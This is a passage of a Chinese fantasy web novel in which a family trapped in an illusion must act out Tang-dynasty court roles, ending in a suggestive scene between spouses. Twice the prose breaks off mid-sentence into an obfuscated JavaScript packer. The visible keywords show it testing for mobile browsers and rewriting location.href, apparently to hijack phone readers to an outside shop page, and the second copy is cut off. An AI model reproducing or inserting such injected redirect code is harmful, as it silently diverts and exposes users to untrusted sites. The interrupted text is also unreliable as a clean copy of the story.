她说着,已将那柄青锋剑擦拭得寒光凛凛,不染纤尘。随手将雪白丝绢置于一旁紫檀几上,那动作行云流水,带着一种不滞于物的洒脱。她缓缓起身,素白广袖如流云垂落,步履无声,仿佛踏着的不是冰冷青石,而是虚空云絮,径直走向那幅沐浴在晨光中的骑马图。 在画前站定,聂隐娘并未伸手触碰这看似平凡的画卷,只以莹白如玉的指尖,虚虚隔空,轻点画中细节,声音在空旷殿阁中显得格外清晰: “此画,乃薛绍驸马生前,为数不多的亲笔。他出身将门,长于弓马,本不善丹青,笔法稚拙,设色亦不够精妙,更无阎立本‘曹衣出水,吴带当风’的绝代风采。然而,”她指尖停留在画中女子飞扬的眉眼与舒展的身姿上,“他所绘的,是他与你祖师奶奶新婚燕尔、少年结缡不久,于长安郊外,并辔同游、两心相许时的情景。你看这马儿欢腾欲跃之势,看这女子回眸一笑的神采……或许笔拙,然情真。每一根不够流畅的线条,每一处不够匀净的敷色,皆是他当时满心欢喜、笨拙而诚挚的倾注。” 她顿了顿,指尖极其轻柔地(尽管并未触及画面)移至少女所乘骏马的马鞍处,那里有一处刻意用淡金晕染开的、形状奇特的刻痕纹样,在晨光下微微反光: “再看此处,这模糊的鞍具刻痕。望舒,你细辨,可觉眼熟?” 刘望舒闻言,立刻踮起脚尖,凑得更近,小脸几乎要贴到画卷前的虚空,她记得师傅说过,古画不能随意呵气触碰。她眨巴着大眼睛,仔细辨认那金色的模糊纹样,忽然脑中灵光一闪,失声轻呼:“是……是那支!师傅您妆奁最底层锦盒里,那支从不佩戴的七瓣梅花金簪的图样!一模一样的!” “不错。”聂隐娘收回手,负于身后,晨光勾勒出她侧影清绝孤高的轮廓,如孤峰之巅迎风的雪松,“那是薛绍赠予祖师奶奶的定情信物之一。他亲手绘制,将这簪样藏于画中马鞍之处。薛绍遭难后,祖师奶奶历经武周代唐、中宗复辟、韦后乱政、直至先天政变,看遍宫闱倾轧、世态炎凉、人心翻覆。那时节,她府库中奇珍堆积如山,往来宾客谀词盈耳不绝,权力唾手可得,富贵已极人臣。然而,” 她的语气依旧平静,却仿佛蕴含着千钧重量,“唯有此画,始终被秘藏于身边,不为外人所知。她晚年对心腹侍女言:‘世间珍宝,过眼云烟。唯此拙笔,见之如晤。’ 她珍视的,从来是作画之人,是作画之时,那份毫无机心、未染尘埃的真情,而非作画之技是否登峰造极,亦非承载这画面的,是价值连城的澄心堂纸,还是诡谲邪异的人皮。” 聂隐娘转过身,目光如经过万年寒潭秋水淬炼过的剑锋,清冽透彻,径直看向尚在懵懂咀嚼这些话的七岁小徒。那目光并不严厉,却带着一种直指人心、勘破虚妄的力量,与岁月沉淀出的、巍然不动的重量: “祖师奶奶晚年,权倾朝野,富甲天下。然其临终遗训有云:玉女门可广纳天下奇珍、秘术、财帛以充实力,在此弱肉强食的世间立足、传承。但历代门人心中,需时刻明辨——何者为重,何者为轻。外物再珍稀罕见,终是身外点缀,是工具,是手段,可用之,不可溺之,更不可为之所役。而内心所守的那点不容玷污的真情、那份独立不倚的本心、那种明知不可为而为之的执着,方是立身之基、传承之魂、大道所在。” 她的语气渐转肃然,清越如金玉相击,在空旷的观星阁内回荡,带着不容置疑的威严与穿透力:“这幅薛绍亲笔的画像,所代表的并非高超技艺,而是其背后那份真挚不渝的情意、那份不为浮华外物所移的本心赤诚。此心此情,才是玉女门真正的根基,是比任何画圣真迹、任何稀世奇珍都要贵重千万倍的‘传承’!供于此,是要尔等入门便知,何为本,何为末。” 旋即,她目光微抬,扫过梁上那被重重封镇的紫檀木匣,眼神瞬间变得冰冷而睥睨:“至于那幅人皮画,阎立本妙笔、颜真卿真迹不假,但其牵扯的前朝秘辛、血裔渊源,乃我玉女门世代守护之私事。其中关碍甚大,非俗世所能容,亦非俗世律法所能裁。宋廷官府,不配染指,亦无权过问!封于梁上,是以秘法隔绝其气息,免惹尘俗烦扰,亦是对祖师遗容的一份清净守护。” 言及此,聂隐娘向前踏出半步。仅仅半步,周身气度骤变,素白衣袂无风自动,一股超然物外、凛然不可侵犯的气息自然散发,仿佛她已与这绝顶孤峰、浩渺云天融为一体。她注视着刘望舒懵懂却逐渐清亮的眼睛,一字一句,如晨钟暮鼓,敲入小徒心田: “你需牢记,我玉女一派,行事作风或许在旁人看来,豪阔不羁,亦正亦邪,不拘一格。然我门内核,始终是——重人,轻宝;重心,轻利。祖师奶奶当年,能为一个‘情’字,一份本心,甘冒奇险,叛出樊笼;亦可为守护心中真正所重之信念与传承,弃浮华富贵如敝屣。识珍宝易,守本心难。辨外物易,明己道难。这,才是尔等日后需时时观照、刻刻参悟、用一生去践行守护的——‘道’。” 晨光愈盛,透过窗棂,在青石地上投出整齐明亮的光斑,恰好将中央供台与那幅朴拙的骑马图笼罩在温暖的光晕中。梁上紫檀匣在阴影里沉默,符箓灵光微微流转。一明一暗,一简一繁,一道一器,在这玉女峰绝顶的观星阁内,构成了无言却无比深刻的传承图卷。刘望舒似懂非懂,却将师傅的每一句话、每一个字,连同那幅画中女子回眸的笑靥,深深印入了心底。 廊下悬挂的风灯在渐起的夜风中轻轻摇曳,昏黄的光晕将初唐贵族庭院中朱漆廊柱、雕花栏杆的影子拉得细长,又在青石地面上投出摇曳变幻的怪异形状,仿佛无数暗藏的触手,试图攫取闯入者的心神。刘皓南独自立于通往水阁的台阶前,身上那袭四品驸马都尉的绯色圆领袍衫,质地沉实柔滑,暗银线刺绣的鸾鸟衔绶带纹在朦胧光线下泛着幽微的冷光,腰间革带束得妥帖,水苍玉的佩饰贴着肌肤传来温凉的触感——一切都真实得可怕,甚至能嗅到衣物上熏染的、属于这个时代贵族常用的淡雅瑞龙脑香气。这真实的细节如同无形的蛛网,一层层包裹上来,与他脑海中关于洛阳客栈、关于自身伤势、关于玉佩和玉女门的所有记忆激烈冲撞,带来一阵阵眩晕与割裂感。他试图凝神,理清这匪夷所思的处境,却只觉得意识像沉在粘稠的泥沼中,难以聚焦。 就在这心神震荡、虚实难辨的当口,一声刻意拔高、音色介于少年清亮与孩童尖细之间的呼唤,陡然划破了庭院刻意维持的寂静: “父亲!” 刘皓南心头一凛,循声望去。只见刘朔自回廊转角处快步跑来。他身着一套杏黄色地、织有联珠对孔雀纹的锦缎童子服饰,在风灯下流光溢彩。这身衣着的形制,确是标准的唐代贵族孩童款式:锦缎裁成的半臂(短袖外衣)颇为合身,恰到好处地裹住他正在抽条的身形;同色绸裤长度适宜;腰间束着的蹀躞带,皮革质地柔软,带上悬垂的饰物也一应俱全,规整地束在恰当位置。 然而,正是这“合身”与“规整”,在刘皓南眼中构成了最尖锐的诡异!眼前的刘朔,分明已是十五岁的少年身量,肩膀初现轮廓,手臂线条蕴藏着力量,身姿挺拔。这套本该属于六岁稚童的华美服饰,此刻却严丝合缝地包裹在一个半大少年身上,不仅勾勒出他日渐宽阔的肩线和隐约的臂肌,甚至因为过于“合体”,反而将那种年龄与装扮之间巨大的、无法忽视的错位感,放大到令人心悸的程度。他头上那顶本应俏皮可爱的虎头锦帽,此刻戴在他已有清晰下颌线条的脸上,非但不见童稚,反透着一股荒诞的压抑。他眉眼间强挤出的那种“童真”的焦急,如同一个过于厚重、尺寸不符的面具,硬生生按在了一张渐脱稚气的少年面容上,每一丝表情的牵动都显得用力过猛,极不自然。 他跑向刘皓南的步伐,是少年人特有的迅捷与力量感,每一步都踏得稳而快,绝非幼童蹒跚踉跄的步态。这每一步,在刘皓南看来,都像是重重踏在真实与虚幻那脆弱的边界上,发出无声的碎裂之响。 “您还愣在这里作甚?”刘朔已扑到近前,动作流畅地伸出双手,精准地攥住了刘皓南绯色官袍的宽大衣袖。在旁人无法窥见的袖笼遮掩下,刘皓南清晰地感觉到儿子的指尖在他小臂某处穴位上,几不可察地用了暗劲一掐——这是他们父子间早年约定的、表示“情况异常,提高警惕”的隐秘信号。 仰起脸时,刘朔那张已脱去婴儿肥、棱角初显的脸上,眉眼夸张地皱成一团,努力模仿着幼童委屈焦急的神态。他的嗓音正处于变声期的微妙阶段,原本的清亮中带着一丝沙哑,此刻却被他强行拔高,发出一种不应属于他这个年龄的、略显尖细的腔调:“母亲自宫中宴饮归来,便独坐水阁,连备好的酪浆都未动箸!满院子奴婢劝不动,脸都吓白了,一个个噤若寒蝉,大气不敢出。您说,这、这如何是好?母亲定是气闷得紧,连最爱的金城进贡的乳酥都推开了!唯有父亲您——” 他刻意拖长了尾音,带着幼童告状时特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185071|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的、半是依赖半是控诉的腔调。更绝的是,他眼圈竟在瞬间泛红,一层水光迅速在眸中凝聚,盈盈欲滴,将落未落,那副“忧心父母又无计可施”的可怜模样,简直浑然天成,情真意切。若非刘皓南是他亲爹,又对那记暗号心知肚明,且清晰看到少年眼底那一闪而过的、属于刘朔本性的狡黠与促狭,几乎要被他这出神入化的“孝子”表演给蒙骗过去,真以为眼前是个为父母不睦而忧心忡忡的六岁稚子。 而最让刘皓南背脊生寒的是,廊下远处垂手侍立的两名侍女,对刘朔这身“合体”的童装、这过于高大的“小公子”身量,以及他这通情真意切的表演,竟无半分异色。她们低眉顺眼,姿态恭谨,仿佛眼前这位身材颀长、作幼童打扮的“小公子”及其“忧心父母”的戏码,是这府中每日都会上演、再寻常不过的一幕。这周围环境、这些“他人”的默许与自然,与刘朔身上那割裂的“合身戏服”一起,共同构成一个比简单错位更精密、更无孔不入的牢笼,它不直接告诉你“这是假的”,而是用无懈可击的细节,逼着你在其中扮演,并逐渐让你怀疑,是否“异常”的才是自己。 正当刘皓南被儿子这通愈发“精湛”又充满割裂感的表演搅得心神剧震,对自身认知和眼前世界产生更深的迷惘与凛然时,另一侧廊柱后的阴影微微一动,凌霄子不紧不慢地现出了身形。 他此刻的扮相,又自不同。一身深紫色圆领宽袖常服,以名贵暗花绫裁成,头戴黑漆纱笼冠,作盛唐时清贵文官家主的打扮,通身气度沉凝,与这初唐贵戚府邸的环境严丝合缝。他面上堆叠着恰到好处的、属于一位“老父亲”的焦灼与因儿子“不省心”而起的薄怒,花白的眉头紧锁,嘴角下撇,活脱脱一位为儿孙姻亲操碎心的士族耆老。然而,那双微眯的老眼里跳跃的,却是一股几乎要压不住的、混合着看穿局势后的兴奋、对这诡异处境的玩味,以及一丝“终于逮着机会”的、跃跃欲试的揶揄火光。 “逆子!”凌霄子快步上前,口中低斥,劈手便作势要拍向刘皓南的后脑勺,姿态十足一个恨铁不成钢、欲行家法的严父。但掌风及至刘皓南颈侧,却倏然化拍为拂,宽大的袖摆带起一股微风。就在这袖影遮掩的刹那,凌霄子食指与中指并拢,以华山派独门的暗劲手法,在刘皓南颈后“风池穴”下方半寸处,极快、极轻地一按。这一按,力道拿捏得妙到毫巅,位置精准无比,正是华山派内部示意“形势诡谲,暂忍勿躁,顺势而为,伺机而动”的紧急联络暗号。 同时,他压低嗓音,语气“痛心疾首”,每一个字却都清晰无比地送入刘皓南耳中,表面是训子,实则字字提点:“公主殿下心中不悦,阖府不安,你兀自在此处发呆?此刻不去水阁展现体贴,殷勤劝慰,更待何时!难道要等殿下怒气凝结,迁怒于人吗?” 话音未落,他借着侧身遮挡刘皓南与远处侍女视线的角度,左手虚握成拳,拇指在食指关节上重重一扣——这是第二个暗号,意为“谨慎观察,规则为重”。 紧接着,他继续“骂”道,声音稍稍提高,确保附近侍立的仆从也能隐约听见,句句扣着当下的“情境”:“眼下是‘二圣临朝’的太平年景,陛下与天后慈和圣明,方有我们薛家满门恩荣,享此尊荣富贵!你莫要仗着公主殿下宽厚仁德,便失了为臣为婿的本分,言行不当,惹出祸端,到时候带累的可是阖族上下!” 这番话,明面上是严父训诫不懂事的儿子要谨守本分、体恤公主,实则句句点明要害:时间锚点(二圣临朝)、身份要害(薛家驸马,依赖皇恩)、行为准则(恪守本分,不可逾矩)。凌霄子这番做作,一半是借着幻境赋予的“父亲”身份,过了把教训“师侄兼临时儿子”的干瘾,心底那点促狭与戏谑几乎要满溢出来;另一半,则是用这种最不易被幻境中可能存在的“耳目”或规则察觉的方式——符合人物关系的、看似寻常的“训斥”——将最关键的信息与警告传递给了尚在懵懂中的刘皓南:接受当前设定,遵守幻境显露的规则,勿要轻举妄动,等待时机。 刘皓南的目光急速扫过眼前二人:儿子刘朔虽然扮相依旧滑稽诡异,但那身过于合体的唐代童装,反而让他那种全身心投入“表演”的状态更具欺骗性,毫无破绽,仿佛他真的相信自己就是个担忧父母的六岁孩童;而师叔凌霄子,则俨然是一副已然窥破棋局、拿着新身份剧本且乐在其中、顺便还能倚老卖老教训晚辈的悠然与算计。他再低头看向自己身上这袭银章青绶的绯色官袍,掌心触及腰间那枚冰凉温润、象征着驸马都尉身份的水苍玉,一股寒意夹杂着明悟涌上心头: 这幻境的可怕与精密之处正在于此。它不再使用粗糙的时空错位、不合身的衣物来笨拙地提醒你此为虚假。恰恰相反,它以无懈可击的历史细节、完全合身的衣冠服饰、真实可触的器物环境、符合逻辑的人际关系,编织成一个无比真实的茧房,将人紧紧包裹其中。让你在真实的触感、合乎情理的情节推动下,去扮演一个被设定的角色。刘朔被强行指派扮演的,恐怕是历史上太平公主与薛绍的幼子、此时尚未出生(或极为年幼)的薛崇简。此举是将不同时空强行折叠扭曲,只为凑齐这出“家庭和睦”的戏码所需的人物。而凌霄子,显然已更快地从眩晕中清醒,窥破了此局“认戏不认人”、“合乎情境方能暂安”的核心法则,并迅速进入了角色,甚至开始享受这其中的“趣味”。 夜风拂过回廊,檐角铜铃发出清脆而单调的声响,敲在刘皓南心头,却沉重无比。他终是深吸一口气,那空气中弥漫的瑞脑香气此刻闻来却带着莫名的窒闷。他抬手,拂开儿子刘朔仍紧紧拽着他衣袖的手——那锦缎袖口的触感真实得刺骨。然后,他朝着水阁的方向,迈开了步子。 湛蓝色的官袍下摆扫过冰凉平整的青砖地面,每一步落下,都像是踩在虚实交织、迷雾重重的深渊边缘。身上这袭无比合身、堪称精美的驸马常服,此刻却比任何枷锁都要沉重。他知道,前方水阁中那位“心绪不豫”的太平公主,以及这场必须上演的“劝慰”戏码,绝非简单的家庭琐事调解。这只是一个开端,一个踏入这精密而诡异幻境更深处的、凶险莫测的开场。而他,必须在扮演好“薛绍”的同时,保持一丝清醒,找到这迷局的缝隙,或者……制造缝隙。 44. 刘皓南的亲热“困局” 水阁四面垂着细密竹帘,滤进的天光在水磨青砖地上投下摇曳的、细密的格影。刘皓南步履沉沉,尚未踏入阁中,一股混合着苏合香沉稳气息与清荷冷冽幽香的暖风便扑面而来,带着宫廷特有的、精心调配过的甜腻。他正低头,心中飞快地梳理这幻境布局者的可能意图——是困守?是炼心?还是更阴毒的算计?——一声既熟悉入骨、又因浸透了某种他从未领略过的娇慵绵软而显得陌生的呼唤,自帘后响起: “薛郎——” 音色确确实实,是杨排风的嗓音。可那语调……每一个字尾都微微上扬,带着被蜜糖浸透般的、自然的拖长,似嗔似怨,又浑然天成地流露出几分被天下至尊之人捧在掌心娇养出的、理所当然的骄纵。 刘皓南猛地抬头,目光如电,穿透疏密有致的竹帘缝隙。 只见杨排风端坐于水阁中央的紫檀木月牙凳上。一袭湖蓝色蹙金绣双凤穿花齐胸襦裙,那金线在粼粼水光映照下,流转着内敛而华贵的光泽,裙裾如云铺展。外罩一件轻薄如雾的绯色泥金轻容纱大袖衫,臂弯间松松挽着一条雪青渐染的披帛,飘逸若流风回雪。一头青丝绾作高耸的惊鸿髻,发间仅簪一支衔珠点翠金步摇,并几点莹润的珍珠小簪花,简约至极,却透出不容错辨的、深入骨髓的皇家气度。 四五名身着浅青或杏子黄齐胸襦裙的侍女,低眉垂手,屏息静气侍立在她身后,宛如没有呼吸的精致人偶。而她——“太平公主”——眉宇间蕴着一层被无边宠溺浇灌出的、薄薄的恼怒,宛如春日湖面初化的冰凌,纤长指尖染着淡淡的凤仙花汁,正有一下没一下地拨弄着身旁海棠式高足琉璃盘中盛着的、冰湃过的玉葡萄,并不抬眼看他。 见他驻足帘外,她方才缓缓起身。行动间,步摇垂下的小珠串轻轻碰撞,发出极清脆细微的叮咚声,腰间环佩却悄然无声,自有一番流风回雪、仪态万方的气韵。她行至刘皓南面前,极自然地伸出那只染着蔻丹的纤手,一把拽住了他绯色官袍的袖口,轻轻摇晃起来。那动作带着少女般浑然天成的娇憨,力道却不容拒绝,仿佛天生就该如此。 “薛郎,”她仰起脸,语速略快,透出委屈,目光却似不经意地、飞快地扫过他的眼睛,又迅速垂下,长睫如受惊蝶翼般轻轻颤了颤,“你可知今日宫中宴饮,那永亲王家的郡主,是何等可恼?竟敢当着母后与诸命妇的面,暗讽嫂嫂出身不及她家清贵……母后虽未说什么,只淡然揭过,可我这心里,却憋闷得紧,回府这许久,仍是咽不下这口气!” 她言语间神态鲜活灵动,将一位年少嫁得如意郎君、深受父母兄长极致宠爱、尚未经历后来种种风波与血火淬炼的太平公主,那份天真未泯又略带骄纵的心性,演绎得淋漓尽致,毫无破绽。 刘皓南心中警铃大作,后背瞬间漫上一层细密的冷汗。眼前的女子,音容笑貌、身形轮廓,无一不是他同床共枕、相濡以沫的妻子杨排风。可那眉眼神态、言语腔调、乃至这一身仿佛与生俱来的帝国公主的骄矜气派,却陌生得令人心惊,令他骨髓发寒。他绝难相信,平日爽利如秋风、坚韧如蒲草的排风,会作出此等……近乎天真烂漫的小女儿情态。这不仅是记忆的错位,更是岁月痕迹的彻底抹去——站在他面前的,俨然是二十三四岁、未曾经历后来艰辛、被保护得极好、因而鲜活明亮甚至带着娇纵的杨排风。这个认知让他心头泛起一丝古怪的涩意,仿佛在窥探一段他未曾参与、也不可能存在的、属于妻子的另一种青春。 心念电转,他面上却不敢显露分毫。顺势抬手,动作看似轻柔无比地拂向她额角,指尖似要为她理顺一丝并不存在的碎发,口中温言道,声音是他自己都未曾察觉的刻意放缓:“公主何必为那等无知妇人的口舌之快动气?仔细气坏了身子,反倒不值当。” 他的动作行云流水,仿佛这只是他们夫妻间千百次重复的亲昵之举。 就在他指尖即将触及她梳得一丝不苟、光可鉴人的惊鸿髻的刹那,他手腕几不可察地一沉,指尖如羽毛般,轻轻擦过她后颈靠近衣领处那片温凉的肌肤。目光如最锋利的刀锋,借着俯身的姿态,飞快掠过—— 一片莹润如羊脂白玉的肌肤上,赫然有一点细如朱砂、鲜艳欲滴的红点,若隐若现! 那红点绝非寻常痣记或守宫砂。其边缘极为规整圆润,微微凸起于皮肤,细看之下,仿佛有极淡、几不可见的金色丝线,自那红点中心向外辐射,隐隐构成一道繁复到令人目眩神迷的微型符印,正正贴附于第七颈椎,大椎穴之上!此物绝非锁魂针那般粗暴禁锢神魂的禁制,倒更像是……更像是某种以受术者自身血脉或神魂为引、需满足极为特殊苛刻的条件方能触发乃至解除的古老咒印!观其形态诡谲莫测、气机晦涩阴邪,绝非善类,恐怕还需施术者亲自主导,或满足某些极其亲密、乃至灵肉交融的特定条件,方有可能触动乃至尝试化解。 正当刘皓南被这惊心动魄的发现震得心神摇曳,苦思这诡异咒印的可能来历与凶险解法之际—— 一道冰冷、缥缈、完全无法辨别男女,仿佛来自九幽之下,又似来自九天之外的声音,如一根烧红的玄铁细针,毫无征兆地、狠狠刺入他的耳膜深处,直抵神魂: “演下去。” 那声音不含丝毫人类情感,没有喜怒,只有一种令人灵魂冻结、本能战栗的恐怖威压,仿佛至高无上的神祇,正冷漠地、饶有兴致地俯视着掌中挣扎的蝼蚁,评估着戏码是否精彩。 “薛绍,好好享受这‘二圣临朝’下的‘安宁’时光。这已是公主一生中,最快活、最无忧的几年了。” 声音微顿,旋即带上了一丝不容置疑的、绝对命令的口吻,与一种近乎残忍的、将人命运肆意玩弄于股掌之间的威胁意味,“记住,只要本座看得满意,公主过得开心快活,你们夫妻……鹣鲽情深,琴瑟和鸣,灵肉交融,满足这一切,本座或可考虑放你们出去。否则……” 那声音骤然贴近,仿佛贴着他耳畔低语,寒气直透脑髓: “杨排风必将魂飞魄散,永世不得超生!而你,将永远困于此地,目睹一切,直至疯癫。” 最后几句话,字字如万载玄冰凝成的冰锥,带着冻彻灵魂的森然寒气,狠狠凿在刘皓南的心上。那威胁并非虚张声势,其中蕴含的绝对力量与漠视一切的冷酷,让他毫不怀疑,这布局者真有此能为之,也真会如此行事。 刘皓南指尖冰凉,几乎感觉不到血液流动。他深吸一口气,那混合着苏合香与荷香的空气此刻令人作呕。他强行压下心头翻涌的惊涛骇浪与刺骨寒意,努力回忆着史书野记中关于薛绍“姿容俊美,性谨温和”的寥寥描述,试图模仿那等世家公子、皇室佳婿面对娇妻时的温存神态。 他伸出手,动作因极力控制而略显僵硬滞涩,却终究是轻轻握住了杨排风——不,是“太平公主”——拽着他袖口的那只微凉的手。触手之处,一片冰肌玉骨的寒意,与他记忆中妻子常年执掌锅勺、掌心总是温暖甚至有些粗糙的触感截然不同。这寒意让他心头一揪,更坚定了必须周旋到底、决不能激怒这无形鬼魅的念头。 “……公主,”他放缓了语速,声音刻意放得低沉柔和,带着几分连他自己都觉陌生的、近乎刻意的安抚意味,“些许小事,不过是他人口舌之快,过眼云烟罢了。公主金枝玉叶,万金之躯,莫要因此等琐事气坏了身子,反倒让亲者痛。” 他一边说,一边几乎是本能地、用拇指指腹,轻轻摩挲了一下她的手背——这是他们成亲数载,每当他欲安抚她情绪,或只是无言传递支持时,一个几乎成了习惯的小动作。此刻做来,却因心境之截然不同、对象之微妙诡异(是他的爱妻,却又是陌生的、年轻了十几岁的“公主”),而充满了难以言喻的艰涩、矛盾,与一丝难以言明的罪恶感。掌心传来的细腻柔滑,是年轻肌肤特有的触感,与他熟悉的、带着生活痕迹的手不同。这感觉让他心头一跳,随即涌起更深的复杂情绪。 “永亲王家……终究是远支宗室,虚张声势罢了,何必与她一般见识?日后宫中饮宴,我们……避着那郡主些便是。” 他艰难地将话语说完,目光落在杨排风那双此刻盛满了“委屈”与依赖的眸子里,心中却一片冰冷沉郁。眼下敌暗我明,排风身中如此阴毒诡异的咒印,完全受制于人,这幻境更是深不可测,步步杀机。 为今之计,唯有假意顺从,虚与委蛇。先稳住这“太平公主”,应付过去眼前危局,再设法暗中恢复因之前强行施展禁术而受损严重的元气,同时必须万分小心地探查此阵运转的规律、破绽,以及排风颈后那咒印的根源与可能的破解之道。任何一丝一毫的轻举妄动,都可能立刻为排风招致魂飞魄散的灭顶之灾。 水阁内香气氤氲,帘外天光透过竹格,在地面投下变幻的光影。刘皓南握着妻子那只冰凉而陌生的手,扮演着一个全然陌生的温柔驸马,心中却如临万丈深渊,如履薄冰。这场戏,他必须演下去,演得逼真,演得深情,直至找到那一线或许渺茫的破局之机。 ______ 太平公主府寝殿内,烛火高燃,将室内照得亮如白昼。瑞脑香的甜暖气息自錾金缠枝莲花兽炉中袅袅吐出,与窗外渗入的、秋夜的微凉气息纠缠在一起,氤氲出一室暖昧而略带黏稠的暖意。刘皓南——此刻他必须时刻牢记自己是驸马都尉薛绍——独坐窗下紫檀木书案前,指尖下是一卷摊开的《汉书》,目光却并未落在那些熟悉的字句上,而是凝于虚空中的某一点,心神早已飞旋,飞速盘算着这幻境的每一处细微破绽、那诡异声音的来源、颈后咒印的解法,以及那一缕始终萦绕不散的、冰冷的危机感。 环佩轻响,异香袭来。那声响极轻,在寂静得只剩下烛花噼啪声的深夜里,却清晰得惊心动魄。刘皓南倏然抬头,全身肌肉在瞬间下意识地绷紧。 只见寝殿深处,层层叠叠的鲛绡帐幔被一只染着嫣红蔻丹的、莹白如玉的纤手轻轻撩开,杨排风——此刻是大唐帝国最骄傲、最受宠爱的明珠太平公主——现身于摇曳的烛光之中。 她身上仅着一件水红色软烟罗肚兜,那薄如蝉翼、近乎透明的料子,紧裹着玲珑有致的身段,在烛火下勾勒出惊心动魄、起伏曼妙的曲线,雪白的肌肤若隐若现。外罩一件蝉翼般透明的绯色鲛绡纱袍,袍子松松垮垮,随着她的步履,滑落大半边香肩。她云鬓松散,珠钗尽卸,如瀑青丝仅用一根玉簪松松绾着,几缕不听话的发丝垂落雪白的颈侧与胸前,平添无尽慵懒风致。面颊绯红,眼波流转间水光潋滟,似醉非醉,更似春情萌动。她赤着一双莹白秀足,踩在铺陈于地面的、厚厚西域进贡葡萄缠枝纹茸毛毯上,步履轻盈,无声无息,宛如一只在夜间悄然行走、准备狩猎的猫儿,带着野性与诱惑。手中执一柄华丽的孔雀羽扇,扇缘缀着细碎的蓝宝石与珍珠,随着她的动作,流光溢彩。 “薛郎……”她嗓音带着一丝慵懒的沙哑,与白日里因宴席小事生闷气的娇憨公主判若两人。这声呼唤拖长了调子,浸透了毫不掩饰的、直白露骨的媚意,每个字都像带着小钩子。她步步生莲般走近,眼波流转,那目光中混杂着几分醉后的迷离、几分属于金枝玉叶的野性与大胆,更有一种居高临下的、属于帝国最尊贵女子的、赤裸裸的占有欲。 她径直走上前,带着一身暖香与酒气,柔软的身躯毫无阻碍地偎入他怀中,羽扇轻佻地、似有若无地拂过他的下颌、喉结,带起一阵细微而恼人的酥麻痒意。温热的身躯紧贴着他,隔着两人单薄的衣料,传递来惊人的热度与柔软弹性。刘皓南能清晰地感受到那具身体充满青春活力的曲线,紧致而有弹性,与他记忆中妻子因生育和常年辛劳而略有变化的体态不同。这认知让他身体瞬间僵硬,一股热流不受控制地窜过小腹,随即是更强烈的、混杂着羞愧与自我谴责的抗拒。他三十八了,而眼前的“她”,看起来不过二十出头,鲜活、饱满、大胆,带着未经生活磋磨的骄纵明媚。这分明是他的妻子,可此刻的感觉,却像在觊觎一个年轻娇艳的陌生女子,一种近乎“老夫少妻”的、不合时宜的罪恶感攫住了他。可偏偏,这又是排风,是他深爱的女人,只是以另一种更年轻、更陌生的姿态呈现。 “春宵苦短,何以独对这冰冷无趣的书卷?”她仰起脸,呵气如兰,带着淡淡的葡萄酒香,羽扇又下滑,用扇骨轻轻划过他微微敞开的交领中衣边缘,流连在他裸露的锁骨凹陷处,“莫非……奴家还比不得这些死物,能入薛郎的眼么?” 言语间,她那只未执扇的、微凉的手,已不安分地、带着不容抗拒的力道,探入他中衣衣襟之内。微凉的指尖轻柔却目标明确地,在他瞬间紧绷的胸膛肌肤上划过,带起一阵战栗。同时,她温热的、带着酒香的气息,一下下,刻意地拂过他敏感的颈侧与耳畔。 刘皓南浑身骤然紧绷如铁,每一根神经都拉响警报。史书碎片混杂着所知秘辛涌入脑海:太平公主,高宗与武后最幼女,自幼被父母兄长视为掌上明珠,极尽溺爱,兄长们皆有望继承大统,她权势根基深厚无比。李唐皇室本就带有鲜卑血统,风气开放,不拘礼法,贵族女子在闺帏之间主动热情乃至放纵者,并非异数。她身为帝后最宠爱的幼女,养成这般大胆奔放、近乎跋扈、对欲望也直白热烈的性情,实属寻常。眼前排风的言行举止,一颦一笑,俨然已是那位骄傲、任性且充满生命力的太平公主,心智受迷,全然依从了这幻境赋予的、深入骨髓的本性。 他若此刻推拒,或流露出丝毫的拘谨、勉强、甚至只是迟疑,会如何?是否会立刻引起那幕后“看客”的警觉与不满?是否会触怒这位心思难以揣测、此刻明显情动的“公主”?他瞬间想起唐代那些关于公主休弃不合心意的驸马、甚至行为更为激烈的记载。若“驸马”在此刻表现得抗拒或无能,不能满足公主的期待,甚至被厌弃,在这等权势滔天、自幼要风得风的贵女面前,绝非不可能。那布局者正冷眼旁观,如同观看笼中戏鼠,等着看这场“夫妻恩爱”的戏码能否圆满。若演砸了,那句“魂飞魄散”的威胁言犹在耳,排风会如何?他自己又将陷入何种万劫不复的险境? 心念电转,只在刹那。刘皓南深吸一口气,那带着她体香与酒气的空气涌入胸腔,带来一阵眩晕。他努力压下胸腔里翻涌的惊涛骇浪与身体本能的僵硬抗拒。他不能退,不能露怯,更不能激怒“她”和“他”。 这是我妻子吗?这陌生又熟悉的风情,这娇慵媚态……他从未见过排风这般模样。三十八岁的他,面对着二十三岁的她,这鲜明的年龄差距在此刻的亲密中显得如此突兀。可这眉眼,这身躯的轮廓,又确确实实是排风。或许,这便是她若生在锦绣丛中、受尽万千宠爱,未曾经历家国磨难与江湖风霜时,原本该有的模样?娇憨,任性,大胆,对爱与欲望都直白热烈……一个他不曾见过,却或许在某个平行岁月里真实存在过的、年轻鲜活的杨排风。一种复杂的情感在拉扯——理智告诉他这是陷阱,是咒印下的虚假人格;情感深处,却难以抑制地被这份从未见过的、明媚鲜妍的“可能性”所吸引,甚至生出一丝近乎可耻的、属于男人本能的悸动。 好吧,这就是她。是了,这就是他的妻子。无论面貌如何因幻术稍改,风情如何因咒印大变,这躯壳里,终究是他携手多年的枕边人。夫妻之实,天经地义。此刻顺从,是演戏,是求生,是破解咒印的可能途径,又何尝不是……与妻子在另一种境遇下的交融?即使这境遇是虚假的,这年轻的躯体是幻象,但触感如此真实,热度如此灼人。他几乎要说服自己,这不算趁机占便宜,这是不得已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 